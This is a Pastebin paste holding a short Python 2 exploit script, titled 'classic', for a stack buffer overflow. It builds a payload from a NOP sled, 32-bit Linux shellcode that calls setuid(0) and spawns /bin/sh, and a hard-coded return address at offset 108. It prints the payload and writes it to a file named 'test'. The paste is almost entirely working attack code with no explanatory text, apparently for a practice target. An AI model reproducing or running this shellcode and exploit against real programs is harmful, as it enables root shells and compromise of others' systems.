Advertisement
Guest User

classic

a guest
Jun 11th, 2019
123
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.72 KB | None | 0 0
  1. #!/usr/bin/python
  2.  
  3. from struct import *
  4.  
  5. def main():
  6.  
  7.         # 0xffffd7c5:     0x41414141      0x41414141      0x41414141      0x41414141
  8.         ret_addr = pack("<I", 0xffffd7c5)
  9.         offset = 108
  10.         sh_code = "\x31\xc0\x89\xc3\xb0\x17\xcd\x80\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80"
  11.  
  12.         # craft payload
  13.         payload = '\x90' * (offset - len(sh_code))
  14.         payload += sh_code
  15.         payload += ret_addr
  16.  
  17.         # prints payload to stdout
  18.         print payload
  19.  
  20.         # saves payload to file
  21.         fname = 'test'
  22.         with open(fname, 'w') as f:
  23.                 f.write(payload)
  24.  
  25.  
  26. if __name__ == "__main__":
  27.         main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement